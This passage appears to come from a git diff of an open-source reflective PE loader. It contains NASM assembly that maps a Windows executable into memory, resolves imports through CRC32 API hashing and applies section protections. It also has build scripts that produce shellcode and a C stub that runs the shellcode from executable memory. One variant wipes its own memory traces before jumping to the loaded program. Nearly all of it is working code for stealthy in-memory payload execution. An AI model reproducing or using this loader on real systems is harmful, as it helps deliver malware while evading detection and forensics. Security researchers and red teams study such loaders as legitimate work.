REDBG="$(printf '\033[41m')" GREENBG="$(printf '\033[42m')" YELLOWBG="$(printf '\033[43m')" BLUEBG="$(printf '\033[44m')"
MAGENTABG="$(printf '\033[45m')" CYANBG="$(printf '\033[46m')" WHITEBG="$(printf '\033[47m')" BLACKBG="$(printf '\033[40m')"
RESET="$(printf '\e[0m')"
print_warning() {
echo ${YELLOW}"[!] ${RESET}${1}"
}
print_error() {
echo "${RED}[-] ${RESET}${1}"
}
print_fatal() {
echo -e ${RED}"[!] $1\n${RESET}"
kill -10 $$
}
print_good() {
echo "${GREEN}[+] ${RESET}${1}"
}
print_status() {
echo "${YELLOW}[*] ${RESET}${1}"
}
nasm -f bin loader-x64.asm -o shellcode || print_fatal "nasm failed!"
print_status "Payload Size: `wc -c shellcode|cut -d' ' -f1`"
[[ -f shellcode ]] && xxd -i shellcode shellcode.h
x86_64-w64-mingw32-gcc stub.c -o test.exe || print_fatal "Compilation failed!"
cp test.exe /tmp/
rm shellcode shellcode.h
print_good "Build done!"
+34
View File
@@ -0,0 +1,34 @@
[BITS 64]
calc_crc:
test dx,dx
je loc_1400039c9
mov r8,rcx
movzx edx,dx
lea eax,[rdx-0x1]
lea rdx,[rcx+rax*1+0x1]
mov eax,0x0
loc_1400039b8:
crc32 eax,BYTE [r8]
add r8,0x1
cmp r8,rdx
jne loc_1400039b8
jmp loc_1400039ea
loc_1400039c9:
movzx edx,BYTE [rcx]
test dl,dl
je loc_1400039eb
add rcx,0x1
mov eax,0x0
loc_1400039d9:
crc32 eax,dl
add rcx,0x1
movzx edx,BYTE [rcx-0x1]
test dl,dl
jne loc_1400039d9
loc_1400039ea:
ret
loc_1400039eb:
mov eax,0x0
jmp loc_1400039ea
@@ -0,0 +1,37 @@
[BITS 64]
get_module_by_crc:
push rdi
push rsi
push rbx
sub rsp,0x20
mov esi,ecx
mov rax,QWORD gs:0x60
mov rax,QWORD [rax+0x18]
lea rdi,[rax+0x20]
mov rbx,QWORD [rax+0x20]
cmp rdi,rbx
je loc_140102e89
loc_140102e5d:
movzx edx,WORD [rbx+0x48]
mov rcx,QWORD [rbx+0x50]
call calc_crc
cmp eax,esi
je loc_140102e7d
mov rbx,QWORD [rbx]
cmp rdi,rbx
jne loc_140102e5d
mov eax,0x0
jmp loc_140102e81
loc_140102e7d:
mov rax,QWORD [rbx+0x20]
loc_140102e81:
add rsp,0x20
pop rbx
pop rsi
pop rdi
ret
loc_140102e89:
mov eax,0x0
jmp loc_140102e81
+139
View File
@@ -0,0 +1,139 @@
[BITS 64]
get_proc_by_crc:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp,0x258
mov rbx,rcx
mov r13d,edx
mov ebp,r8d
movsxd rax,DWORD [rcx+0x3c]
add rax,rcx
mov esi,DWORD [rax+0x88]
add rsi,rcx
mov eax,DWORD [rax+0x8c]
mov DWORD [rsp+0x2c],eax
mov r12d,DWORD [rsi+0x20]
mov r14d,DWORD [rsi+0x1c]
mov r15d,DWORD [rsi+0x24]
mov eax,DWORD [rsi+0x18]
test eax,eax
je loc_140003764
mov eax,eax
mov QWORD [rsp+0x20],rax
mov edi,0x0
add r12,rcx
loc_1400035dc:
mov ecx,DWORD [r12+rdi*4]
add rcx,rbx
mov edx,0x0
call calc_crc
cmp ebp,edi
je loc_14000360b
cmp eax,r13d
je loc_14000360b
add rdi,0x1
cmp QWORD [rsp+0x20],rdi
jne loc_1400035dc
mov eax,0x0
jmp loc_140003738
loc_14000360b:
lea rax,[rbx+rdi*2]
movzx eax,WORD [rax+r15*1]
lea rax,[rbx+rax*4]
mov eax,DWORD [rax+r14*1]
add rbx,rax
cmp rbx,rsi
jb loc_140003735
mov eax,DWORD [rsp+0x2c]
add rsi,rax
cmp rbx,rsi
jae loc_140003735
mov QWORD [rsp+0x30],0x0
mov QWORD [rsp+0x38],0x0
lea rdi,[rsp+0x40]
mov eax,0x0
mov ecx,0x1e
rep stosq
mov DWORD [rdi],0x0
mov QWORD [rsp+0x140],0x0
mov QWORD [rsp+0x148],0x0
lea rdi,[rsp+0x150]
mov ecx,0x1e
rep stosq
mov DWORD [rdi],0x0
cmp BYTE [rbx],0x2e
je loc_14000374c
mov eax,0x1
loc_14000369e:
mov r8,rax
add rax,0x1
cmp BYTE [rbx+rax*1-0x1],0x2e
jne loc_14000369e
mov esi,r8d
loc_1400036af:
lea rcx,[rsp+0x30]
mov rdx,rbx
call memcpy
lea ecx,[rsi+0x1]
movsxd rcx,ecx
add rcx,rbx
cmp BYTE [rcx],0x0
je loc_14000375c
mov eax,0x1
movsxd rdx,esi
add rdx,rbx
loc_1400036d9:
mov r8,rax
add rax,0x1
cmp BYTE [rdx+rax*1],0x0
jne loc_1400036d9
loc_1400036e6:
lea rax,[rsp+0x140]
mov rdx,rcx
mov rcx,rax
call memcpy
lea rcx,[rsp+0x30]
call load_module
mov rbx,rax
mov eax,0x0
test rbx,rbx
je loc_140003738
lea rcx,[rsp+0x140]
mov edx,0x0
call calc_crc
mov edx,eax
mov r8d,0xffffffff
mov rcx,rbx
call get_proc_by_crc
mov rbx,rax
loc_140003735:
mov rax,rbx
loc_140003738:
add rsp,0x258
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
loc_14000374c:
mov esi,0x0
mov r8d,0x0
jmp loc_1400036af
loc_14000375c:
mov r8d,0x0
jmp loc_1400036e6
loc_140003764:
mov eax,0x0
jmp loc_140003738
+60
View File
@@ -0,0 +1,60 @@
[BITS 64]
load_module:
push rdi
sub rsp,0x250
mov r8,rcx
mov QWORD [rsp+0x248],0x0
mov DWORD [rsp+0x234],0x0
lea rdi,[rsp+0x20]
mov ecx,0x41
mov eax,0x0
rep stosq
cmp BYTE [r8],0x0
je loc_140003873
mov edx,0x1
loc_1400037eb:
mov rax,rdx
add rdx,0x1
cmp BYTE [r8+rdx*1-0x1],0x0
jne loc_1400037eb
lea edx,[rax+rax*1]
mov WORD [rsp+0x230],dx
add edx,0x2
mov WORD [rsp+0x232],dx
lea rdx,[rsp+0x20]
mov QWORD [rsp+0x238],rdx
sub eax,0x1
js loc_140003837
cdqe
loc_140003824:
movsx dx,BYTE [r8+rax*1]
mov WORD [rsp+rax*2+0x20],dx
sub rax,0x1
test eax,eax
jns loc_140003824
loc_140003837:
lea r9,[rsp+0x248]
lea r8,[rsp+0x230]
mov edx,0x0
mov ecx,0x0
mov r10, 0xB4EBB9A4
call api_call
call rax ; <LdrLoadDll>
test eax,eax
js loc_14000386c
mov rax,QWORD [rsp+0x248]
loc_140003863:
add rsp,0x250
pop rdi
ret
loc_14000386c:
mov eax,0x0
jmp loc_140003863
loc_140003873:
mov WORD [rsp+0x230],0x0
mov WORD [rsp+0x232],0x2
lea rax,[rsp+0x20]
mov QWORD [rsp+0x238],rax
jmp loc_140003837
+61
View File
@@ -0,0 +1,61 @@
[BITS 64]
map_image:
push rbp
push rdi
push rsi
push rbx
sub rsp,0x48
mov rbp,rcx
movsxd rdi,DWORD [rcx+0x3c]
add rdi,rcx
mov eax,0x0
cmp DWORD [rdi],0x4550
jne loc_1400020b8
mov QWORD [rsp+0x38],0x0
mov eax,DWORD [rdi+0x50]
mov QWORD [rsp+0x30],rax
lea rdx,[rsp+0x38]
mov DWORD [rsp+0x28],0x4
mov DWORD [rsp+0x20],0x103000
lea r9,[rsp+0x30]
mov r8d,0x0
mov rcx,0xffffffffffffffff
mov r10, 0x99CE7C55
call api_call
call rax ; <NtAllocateVirtualMemory>
mov edx,eax
mov eax,0x0
test edx,edx
js loc_1400020b8
mov r8d,DWORD [rdi+0x54]
mov rdx,rbp
mov rcx,QWORD [rsp+0x38]
call memcpy
movzx eax,WORD [rdi+0x14]
lea rbx,[rdi+rax*1+0x18]
cmp WORD [rdi+0x6],0x0
je loc_1400020b3
mov esi,0x0
loc_14000208d:
mov ecx,DWORD [rbx+0xc]
add rcx,QWORD [rsp+0x38]
mov edx,DWORD [rbx+0x14]
add rdx,rbp
mov r8d,DWORD [rbx+0x10]
call memcpy
add esi,0x1
add rbx,0x28
movzx eax,WORD [rdi+0x6]
cmp eax,esi
jg loc_14000208d
loc_1400020b3:
mov rax,QWORD [rsp+0x38]
loc_1400020b8:
add rsp,0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
+17
View File
@@ -0,0 +1,17 @@
[BITS 64]
; memcpy(&dst, &src, size)
; RCX = &dst
; RDX = &src
; R8 = size
memcpy:
push rsi
push rdi
mov rdi,rcx
mov rsi,rdx
mov rcx,r8
copy_byte:
rep movsb ; Copy the CX number of bytes from RSI to RDI
pop rdi ; Restore RDI
pop rsi ; Restore RSI
ret ; Return
+132
View File
@@ -0,0 +1,132 @@
[BITS 64]
protect_sections:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp,0x50
mov rbp,rcx
movsxd rdi,DWORD [rcx+0x3c]
add rdi,rcx
movzx eax,WORD [rdi+0x14]
lea rbx,[rdi+rax*1+0x18]
mov QWORD [rsp+0x48],0x0
cmp WORD [rdi+0x6],0x0
je loc_140002e87
mov esi,0x0
mov r12d,0x0
lea r14,[rsp+0x40]
lea r13,[rsp+0x48]
jmp loc_140002f50
loc_140002e38:
mov ecx,0x1
loc_140002e3d:
and eax,0x60000000
mov r8d,0x1
cmp eax,0x60000000
mov r9d,0x20
mov eax,0x80
cmovne r9d,eax
jmp loc_140002eed
loc_140002e61:
mov r9d,0x20
jmp loc_140002efd
loc_140002e6c:
mov eax,0x0
jmp loc_140002e78
loc_140002e73:
mov eax,0x1
loc_140002e78:
add rsp,0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
loc_140002e87:
mov eax,0x1
jmp loc_140002e78
loc_140002e8e:
mov ecx,0x1
mov r8d,r12d
mov r9d,0x10
jmp loc_140002edd
loc_140002e9e:
mov ecx,r12d
test eax,0x20000000
je loc_140002eda
mov ecx,0x0
test eax,eax
js loc_140002e3d
mov ecx,eax
shr ecx,0x1f
mov r8d,ecx
mov ecx,r12d
mov r9d,0x10
jmp loc_140002edd
loc_140002ec4:
test eax,0x20000000
jne loc_140002e38
mov ecx,0x1
mov r9d,0x4
loc_140002eda:
mov r8d,r12d
loc_140002edd:
and eax,0x60000000
cmp eax,0x60000000
je loc_140002e61
loc_140002eed:
test cl,cl
je loc_140002efd
test r8b,r8b
mov eax,0x40
cmovne r9d,eax
loc_140002efd:
mov eax,DWORD [rdx+0xc]
add rax,rbp
mov QWORD [rsp+0x48],rax
mov eax,DWORD [rdx+0x10]
mov QWORD [rsp+0x40],rax
mov DWORD [rsp+0x3c],0x0
lea rax,[rsp+0x3c]
mov QWORD [rsp+0x20],rax
mov r8,r14
mov rdx,r13
mov rcx,0xffffffffffffffff
mov r10, 0x6EDE4D41
call api_call
call rax ; <NtProtectVirtualMemory>
test eax,eax
js loc_140002e6c
loc_140002f3d:
add esi,0x1
add rbx,0x28
movzx eax,WORD [rdi+0x6]
cmp eax,esi
jle loc_140002e73
loc_140002f50:
mov rdx,rbx
mov eax,DWORD [rbx+0x24]
test eax,eax
je loc_140002f3d
mov r9d,eax
sar r9d,0x1f
and r9d,0xffffffc8
add r9d,0x40
test eax,0x40000000
je loc_140002e9e
test eax,eax
js loc_140002ec4
test eax,0x20000000
jne loc_140002e8e
mov ecx,0x1
mov r9d,0x2
jmp loc_140002eda
+58
View File
@@ -0,0 +1,58 @@
[BITS 64]
relocate_image:
mov r9,rcx
movsxd rdx,DWORD [rcx+0x3c]
add rdx,rcx
mov eax,DWORD [rdx+0xb0]
mov ecx,0x0
test eax,eax
je loc_14000261a
mov eax,eax
lea rcx,[r9+rax*1]
mov r10,r9
sub r10,QWORD [rdx+0x30]
cmp DWORD [rcx],0x0
jne loc_140002601
mov ecx,0x1
jmp loc_14000261a
loc_1400025bd:
mov edx,DWORD [rcx]
movzx r8d,WORD [rax]
and r8d,0xfff
add rdx,r8
add QWORD [r9+rdx*1],r10
loc_1400025d1:
add rax,0x2
mov edx,DWORD [rcx+0x4]
add rdx,rcx
cmp rax,rdx
je loc_1400025f9
loc_1400025e0:
movzx edx,BYTE [rax+0x1]
mov r8d,edx
and r8d,0xfffffff0
cmp r8b,0xa0
je loc_1400025bd
cmp dl,0xf
jbe loc_1400025d1
jmp loc_1400025d1
loc_1400025f9:
mov rcx,rax
loc_1400025fc:
cmp DWORD [rcx],0x0
je loc_140002615
loc_140002601:
lea rax,[rcx+0x8]
mov edx,DWORD [rcx+0x4]
add rdx,rcx
cmp rax,rdx
jne loc_1400025e0
mov rcx,rdx
jmp loc_1400025fc
loc_140002615:
mov ecx,0x1
loc_14000261a:
mov eax,ecx
ret
+85
View File
@@ -0,0 +1,85 @@
[BITS 64]
resolve_imports:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp,0x20
mov rbp,rcx
movsxd rax,DWORD [rcx+0x3c]
mov eax,DWORD [rcx+rax*1+0x90]
mov edx,0x0
test eax,eax
je loc_140002966
mov eax,eax
lea r12,[rcx+rax*1]
mov ecx,DWORD [r12+0xc]
test ecx,ecx
jne loc_14000292f
mov edx,0x1
jmp loc_140002966
loc_1400028cf:
mov edx,0x0
mov rcx,rdi
call get_proc_by_crc
test rax,rax
je loc_1400028e4
mov QWORD [rsi],rax
loc_1400028e4:
add rbx,0x8
add rsi,0x8
mov r8,QWORD [rbx]
test r8,r8
je loc_140002922
loc_1400028f4:
test r8,r8
js loc_1400028cf
lea rcx,[rbp+r8*1+0x2]
mov edx,0x0
call calc_crc
mov edx,eax
mov r8d,0xffffffff
mov rcx,rdi
call get_proc_by_crc
test rax,rax
je loc_1400028e4
mov QWORD [rsi],rax
loc_140002920:
jmp loc_1400028e4
loc_140002922:
add r12,0x14
mov ecx,DWORD [r12+0xc]
test ecx,ecx
je loc_14000295a
loc_14000292f:
mov ecx,ecx
add rcx,rbp
call load_module
mov rdi,rax
test rax,rax
je loc_140002961
mov ebx,DWORD [r12]
add rbx,rbp
mov esi,DWORD [r12+0x10]
add rsi,rbp
mov r8,QWORD [rbx]
test r8,r8
jne loc_1400028f4
jmp loc_140002922
loc_14000295a:
mov edx,0x1
jmp loc_140002966
loc_140002961:
mov edx,0x0
loc_140002966:
mov eax,edx
add rsp,0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
@@ -0,0 +1,36 @@
[BITS 64]
run_tls_callbacks:
push rsi
push rbx
sub rsp,0x28
mov rsi,rcx
movsxd rax,DWORD [rcx+0x3c]
mov eax,DWORD [rcx+rax*1+0xd0]
mov edx,0x0
test eax,eax
je loc_1400033ad
mov eax,eax
mov rbx,QWORD [rcx+rax*1+0x18]
mov edx,0x1
test rbx,rbx
jne loc_1400033ca
loc_1400033ad:
mov eax,edx
add rsp,0x28
pop rbx
pop rsi
ret
loc_1400033b6:
mov r8d,0x0
mov edx,0x1
mov rcx,rsi
call rax
add rbx,0x8
loc_1400033ca:
mov rax,QWORD [rbx]
test rax,rax
jne loc_1400033b6
mov edx,0x1
jmp loc_1400033ad
+52
View File
@@ -0,0 +1,52 @@
;#==============================================#
;# X64 Reflective Loader #
;# Author: Ege Balcı <egebalci@pm.me> #
;# Version: 3.0 #
;#==============================================#
;
[BITS 64]
%define e_lfanew 0x3C
%define _AddressOfEntry 0x28
loader_size equ pe_start-loader
call loader ; Get the address of PE image to stack
loader:
pop rsi ; Get current address to RSI
add rsi, loader_size ; Add the total loader size
push rbp ; Save RBP
mov rbp,rsp ; Create a stack frame
mov rcx,rsi ; Move the image address as first parameter
call map_image ; Perform PE image mapping
mov rdi, rax ; Get the address of mapped PE image into RDI
mov rcx, rdi ; Move a copy of the mapped image address into RCX as first parameter
call resolve_imports ; Resolve image imports
mov rcx, rdi ; Set the mapped image address as first parameter
call relocate_image ; Perform image base relocation
mov rcx, rdi ; Set the mapped image address as first parameter
call protect_sections ; Apply proper section memory protections
mov rcx, rdi ; Set the mapped image address as first parameter
call run_tls_callbacks ; Try to execute TLS callbacks. May fail... ¯\_(ツ)_/¯
xor rax, rax ; Clear out RAX
mov eax, DWORD [rdi+e_lfanew] ; Get the file header offset
mov eax, DWORD [rdi+rax+_AddressOfEntry] ; Get the AddressOfEntry into EAX
add rax,rdi ; Add the AOE onto new image base
cld ; Clear direction flags
mov rsp, rbp ; Restore stack frame
pop rbp ; Restore RBP
jmp rax ; Jmp to the PE->AOE
; ------------------------ FUNCTIONS ------------------------------------
%include "./inc/memcpy.asm"
%include "./inc/calc_crc.asm"
%include "./inc/map_image.asm"
%include "./inc/load_module.asm"
%include "./inc/relocate_image.asm"
%include "./inc/resolve_imports.asm"
%include "./inc/get_proc_by_crc.asm"
%include "./inc/get_module_by_crc.asm"
%include "./inc/protect_sections.asm"
%include "./inc/run_tls_callbacks.asm"
%include "../crc32_api/crc32_api_x64.asm"
;------------------------ FUNCTIONS -------------------------------------
pe_start:
+61
View File
@@ -0,0 +1,61 @@
;#==============================================#
;# X64 Reflective Loader #
;# Author: Ege Balcı <egebalci@pm.me> #
;# Version: 3.0 #
;#==============================================#
;
[BITS 64]
%define e_lfanew 0x3C
%define _AddressOfEntry 0x28
call start ; Get the address of PE image to stack
incbin "putty.exe" ; PE file.
start:
pop rsi ; Get the address of PE to RSI
push rbp ; Save RBP
mov rbp,rsp ; Create a stack frame
mov rcx,rsi ; Move the image address as first parameter
call map_image ; Perform PE image mapping
mov rdi, rax ; Get the address of mapped PE image into RDI
mov rcx, rdi ; Move a copy of the mapped image address into RCX as first parameter
call resolve_imports ; Resolve image imports
mov rcx, rdi ; Set the mapped image address as first parameter
call relocate_image ; Perform image base relocation
mov rcx, rdi ; Set the mapped image address as first parameter
call protect_sections ; Apply proper section memory protections
mov rcx, rdi ; Set the mapped image address as first parameter
call run_tls_callbacks ; Try to execute TLS callbacks. May fail... ¯\_(ツ)_/¯
xor rax, rax ; Clear out RAX
mov eax, DWORD [rdi+e_lfanew] ; Get the file header offset
mov eax, DWORD [rdi+rax+_AddressOfEntry] ; Get the AddressOfEntry into EAX
add rax,rdi ; Add the AOE onto new image base
jmp wipe ; Start wiping memory artifacts...
; ------------------------ FUNCTIONS ------------------------------------
%include "./inc/memcpy.asm"
%include "./inc/calc_crc.asm"
%include "./inc/map_image.asm"
%include "./inc/load_module.asm"
%include "./inc/relocate_image.asm"
%include "./inc/resolve_imports.asm"
%include "./inc/get_proc_by_crc.asm"
%include "./inc/get_module_by_crc.asm"
%include "./inc/protect_sections.asm"
%include "./inc/run_tls_callbacks.asm"
%include "../crc32_api/crc32_api_x64.asm"
;------------------------ FUNCTIONS -------------------------------------
wipe:
wipe_len_delta equ wipe_end-wipe
call $+5 ; Get current EIP to stack
pop rcx ; Pop currect EIP to RCX
sub rcx,rsi ; Calculate the size of the PE file
add rcx,wipe_len_delta ; Add the size of wipe code
mov rdi,rsi ; Move the PE address to RDI
sub rdi,0x5 ; Go back 5 bytes for wiping the initial call as well
wipe_end:
rep stosb ; Store AL into RDI and decrement RDI until RCX = 0
; -------------------- SWITCH TO PE ----------------------------
cld ; Clear direction flags
mov rsp, rbp ; Restore stack frame
pop rbp ; Restore RBP
jmp rax ; Jmp to the PE->AOE
+10
View File
@@ -0,0 +1,10 @@
#include <windows.h>
#include "shellcode.h"
int main(int argc, char const *argv[])
{
char* BUFFER = (char*)VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(BUFFER, shellcode, sizeof(shellcode));
(*(void(*)())BUFFER)();
return 0;
}
Binary file not shown.
+33
View File
@@ -0,0 +1,33 @@
#!/bin/bash
## ANSI Colors (FG & BG)
RED="$(printf '\033[31m')" GREEN="$(printf '\033[32m')" YELLOW="$(printf '\033[33m')" BLUE="$(printf '\033[34m')"
MAGENTA="$(printf '\033[35m')" CYAN="$(printf '\033[36m')" WHITE="$(printf '\033[37m')" BLACK="$(printf '\033[30m')"
REDBG="$(printf '\033[41m')" GREENBG="$(printf '\033[42m')" YELLOWBG="$(printf '\033[43m')" BLUEBG="$(printf '\033[44m')"
MAGENTABG="$(printf '\033[45m')" CYANBG="$(printf '\033[46m')" WHITEBG="$(printf '\033[47m')" BLACKBG="$(printf '\033[40m')"
RESET="$(printf '\e[0m')"
print_warning() {
echo ${YELLOW}"[!] ${RESET}${1}"
}
print_error() {
echo "${RED}[-] ${RESET}${1}"
}
print_fatal() {
echo -e ${RED}"[!] $1\n${RESET}"
kill -10 $$
}
print_good() {
echo "${GREEN}[+] ${RESET}${1}"
}
print_status() {
echo "${YELLOW}[*] ${RESET}${1}"
}
nasm -f bin loader-x86.asm -o shellcode || print_fatal "nasm failed!"
print_status "Payload Size: `wc -c shellcode|cut -d' ' -f1`"
[[ -f shellcode ]] && xxd -i shellcode shellcode.h
i686-w64-mingw32-gcc stub.c -o test.exe || print_fatal "Compilation failed!"
cp test.exe /tmp/
rm shellcode shellcode.h
print_good "Build done!"
+31
View File
@@ -0,0 +1,31 @@
[BITS 32]
calc_crc:
loc_40b22f: mov eax,DWORD [esp+0x4]
loc_40b233: mov edx,DWORD [esp+0x8]
loc_40b237: test dx,dx
loc_40b23a: je loc_40b256
loc_40b23c: mov ecx,eax
loc_40b23e: movzx edx,dx
loc_40b241: add eax,edx
loc_40b243: mov edx,0x0
loc_40b248: crc32 edx,BYTE [ecx]
loc_40b24d: add ecx,0x1
loc_40b250: cmp ecx,eax
loc_40b252: jne loc_40b248
loc_40b254: jmp loc_40b275
loc_40b256: movzx ecx,BYTE [eax]
loc_40b259: test cl,cl
loc_40b25b: je loc_40b278
loc_40b25d: add eax,0x1
loc_40b260: mov edx,0x0
loc_40b265: crc32 edx,cl
loc_40b26a: add eax,0x1
loc_40b26d: movzx ecx,BYTE [eax-0x1]
loc_40b271: test cl,cl
loc_40b273: jne loc_40b265
loc_40b275: mov eax,edx
loc_40b277: ret
loc_40b278: mov edx,0x0
loc_40b27d: jmp loc_40b275
@@ -0,0 +1,35 @@
[BITS 32]
get_module_by_crc:
loc_4077e7: push edi
loc_4077e8: push esi
loc_4077e9: push ebx
loc_4077ea: sub esp,0x8
loc_4077ed: mov edi,DWORD [esp+0x18]
loc_4077f1: mov eax,fs:0x30
loc_4077f7: mov eax,DWORD [eax+0xc]
loc_4077fa: lea esi,[eax+0x14]
loc_4077fd: mov ebx,DWORD [eax+0x14]
loc_407800: cmp esi,ebx
loc_407802: je loc_407832
loc_407804: movzx eax,WORD [ebx+0x24]
loc_407808: mov DWORD [esp+0x4],eax
loc_40780c: mov eax,DWORD [ebx+0x28]
loc_40780f: mov DWORD [esp],eax
loc_407812: call calc_crc
loc_407817: cmp eax,edi
loc_407819: je loc_407828
loc_40781b: mov ebx,DWORD [ebx]
loc_40781d: cmp esi,ebx
loc_40781f: jne loc_407804
loc_407821: mov eax,0x0
loc_407826: jmp loc_40782b
loc_407828: mov eax,DWORD [ebx+0x10]
loc_40782b: add esp,0x8
loc_40782e: pop ebx
loc_40782f: pop esi
loc_407830: pop edi
loc_407831: ret
loc_407832: mov eax,0x0
loc_407837: jmp loc_40782b
+124
View File
@@ -0,0 +1,124 @@
[BITS 32]
get_proc_by_crc:
loc_408e97: push ebp
loc_408e98: mov ebp,esp
loc_408e9a: push edi
loc_408e9b: push esi
loc_408e9c: push ebx
loc_408e9d: and esp,0xfffffff0
loc_408ea0: sub esp,0x240
loc_408ea6: mov ebx,DWORD [ebp+0x8]
loc_408ea9: mov eax,ebx
loc_408eab: add eax,DWORD [ebx+0x3c]
loc_408eae: mov edx,ebx
loc_408eb0: add edx,DWORD [eax+0x78]
loc_408eb3: mov eax,DWORD [eax+0x7c]
loc_408eb6: mov DWORD [esp+0x1c],eax
loc_408eba: mov edi,DWORD [edx+0x20]
loc_408ebd: mov eax,DWORD [edx+0x1c]
loc_408ec0: mov DWORD [esp+0x2c],eax
loc_408ec4: mov eax,DWORD [edx+0x24]
loc_408ec7: mov DWORD [esp+0x28],eax
loc_408ecb: mov ecx,DWORD [edx+0x18]
loc_408ece: test ecx,ecx
loc_408ed0: je loc_409041
loc_408ed6: mov esi,0x0
loc_408edb: add edi,ebx
loc_408edd: mov DWORD [esp+0x24],edx
loc_408ee1: mov DWORD [esp+0x20],ecx
loc_408ee5: mov DWORD [esp+0x4],0x0
loc_408eed: mov eax,ebx
loc_408eef: add eax,DWORD [edi+esi*4]
loc_408ef2: mov DWORD [esp],eax
loc_408ef5: call calc_crc
loc_408efa: cmp DWORD [ebp+0x10],esi
loc_408efd: je loc_408f19
loc_408eff: cmp eax,DWORD [ebp+0xc]
loc_408f02: je loc_408f19
loc_408f04: add esi,0x1
loc_408f07: mov eax,DWORD [esp+0x20]
loc_408f0b: cmp esi,eax
loc_408f0d: jne loc_408ee5
loc_408f0f: mov eax,0x0
loc_408f14: jmp loc_409023
loc_408f19: mov edx,DWORD [esp+0x24]
loc_408f1d: lea eax,[ebx+esi*2]
loc_408f20: mov ecx,DWORD [esp+0x28]
loc_408f24: movzx eax,WORD [eax+ecx*1]
loc_408f28: lea eax,[ebx+eax*4]
loc_408f2b: mov ecx,DWORD [esp+0x2c]
loc_408f2f: add ebx,DWORD [eax+ecx*1]
loc_408f32: cmp ebx,edx
loc_408f34: jb loc_409021
loc_408f3a: mov eax,DWORD [esp+0x1c]
loc_408f3e: add edx,eax
loc_408f40: cmp ebx,edx
loc_408f42: jae loc_409021
loc_408f48: vpxor xmm0,xmm0,xmm0
loc_408f4c: vmovdqu [esp+0x38],xmm0
loc_408f52: lea edi,[esp+0x48]
loc_408f56: mov eax,0x0
loc_408f5b: mov ecx,0x3d
loc_408f60: rep stosd
loc_408f62: vmovdqu [esp+0x13c],xmm0
loc_408f6b: lea edi,[esp+0x14c]
loc_408f72: mov ecx,0x3d
loc_408f77: rep stosd
loc_408f79: cmp BYTE [ebx],0x2e
loc_408f7c: je loc_40902b
loc_408f82: mov esi,0x0
loc_408f87: add esi,0x1
loc_408f8a: mov eax,esi
loc_408f8c: cmp BYTE [ebx+esi*1],0x2e
loc_408f90: jne loc_408f87
loc_408f92: lea edx,[esp+0x38]
loc_408f96: mov DWORD [esp+0x8],eax
loc_408f9a: mov DWORD [esp+0x4],ebx
loc_408f9e: mov DWORD [esp],edx
loc_408fa1: call memcpy
loc_408fa6: lea ecx,[ebx+esi*1+0x1]
loc_408faa: cmp BYTE [ecx],0x0
loc_408fad: je loc_40903a
loc_408fb3: mov eax,0x0
loc_408fb8: add esi,ebx
loc_408fba: add eax,0x1
loc_408fbd: mov edx,eax
loc_408fbf: cmp BYTE [esi+eax*1+0x1],0x0
loc_408fc4: jne loc_408fba
loc_408fc6: lea eax,[esp+0x13c]
loc_408fcd: mov DWORD [esp+0x8],edx
loc_408fd1: mov DWORD [esp+0x4],ecx
loc_408fd5: mov DWORD [esp],eax
loc_408fd8: call memcpy
loc_408fdd: lea eax,[esp+0x38]
loc_408fe1: mov DWORD [esp],eax
loc_408fe4: call load_module
loc_408fe9: mov ebx,eax
loc_408feb: mov eax,0x0
loc_408ff0: test ebx,ebx
loc_408ff2: je loc_409023
loc_408ff4: mov DWORD [esp+0x4],0x0
loc_408ffc: lea eax,[esp+0x13c]
loc_409003: mov DWORD [esp],eax
loc_409006: call calc_crc
loc_40900b: mov DWORD [esp+0x8],0xffffffff
loc_409013: mov DWORD [esp+0x4],eax
loc_409017: mov DWORD [esp],ebx
loc_40901a: call get_proc_by_crc
loc_40901f: mov ebx,eax
loc_409021: mov eax,ebx
loc_409023: lea esp,[ebp-0xc]
loc_409026: pop ebx
loc_409027: pop esi
loc_409028: pop edi
loc_409029: pop ebp
loc_40902a: ret
loc_40902b: mov esi,0x0
loc_409030: mov eax,0x0
loc_409035: jmp loc_408f92
loc_40903a: mov edx,0x0
loc_40903f: jmp loc_408fc6
loc_409041: mov eax,0x0
loc_409046: jmp loc_409023
+58
View File
@@ -0,0 +1,58 @@
[BITS 32]
load_module:
loc_40a08a: push edi
loc_40a08b: push ebx
loc_40a08c: sub esp,0x234
loc_40a092: mov ebx,DWORD [esp+0x240]
loc_40a099: mov DWORD [esp+0x22c],0x0
loc_40a0a4: lea edi,[esp+0x1c]
loc_40a0a8: mov ecx,0x82
loc_40a0ad: mov eax,0x0
loc_40a0b2: rep stosd
loc_40a0b4: cmp BYTE [ebx],0x0
loc_40a0b7: je loc_40a14c
loc_40a0bd: mov edx,0x0
loc_40a0c2: mov eax,edx
loc_40a0c4: add edx,0x1
loc_40a0c7: cmp BYTE [ebx+edx*1],0x0
loc_40a0cb: jne loc_40a0c2
loc_40a0cd: add edx,edx
loc_40a0cf: mov WORD [esp+0x224],dx
loc_40a0d7: add edx,0x2
loc_40a0da: mov WORD [esp+0x226],dx
loc_40a0e2: lea edx,[esp+0x1c]
loc_40a0e6: mov DWORD [esp+0x228],edx
loc_40a0ed: test eax,eax
loc_40a0ef: js loc_40a103
loc_40a0f1: movsx dx,BYTE [ebx+eax*1]
loc_40a0f6: mov WORD [esp+eax*2+0x1c],dx
loc_40a0fb: sub eax,0x1
loc_40a0fe: cmp eax,0xffffffff
loc_40a101: jne loc_40a0f1
loc_40a103: lea eax,[esp+0x22c]
loc_40a10a: mov DWORD [esp+0xc],eax
loc_40a10e: lea eax,[esp+0x224]
loc_40a115: mov DWORD [esp+0x8],eax
loc_40a119: mov DWORD [esp+0x4],0x0
loc_40a121: mov DWORD [esp],0x0
loc_111111: push 0xB4EBB9A4
loc_222222: call api_call
loc_xxxxxx: add esp,4
loc_40a128: call eax
loc_40a12e: sub esp,0x10
loc_40a131: test eax,eax
loc_40a133: js loc_40a145
loc_40a135: mov eax,DWORD [esp+0x22c]
loc_40a13c: add esp,0x234
loc_40a142: pop ebx
loc_40a143: pop edi
loc_40a144: ret
loc_40a145: mov eax,0x0
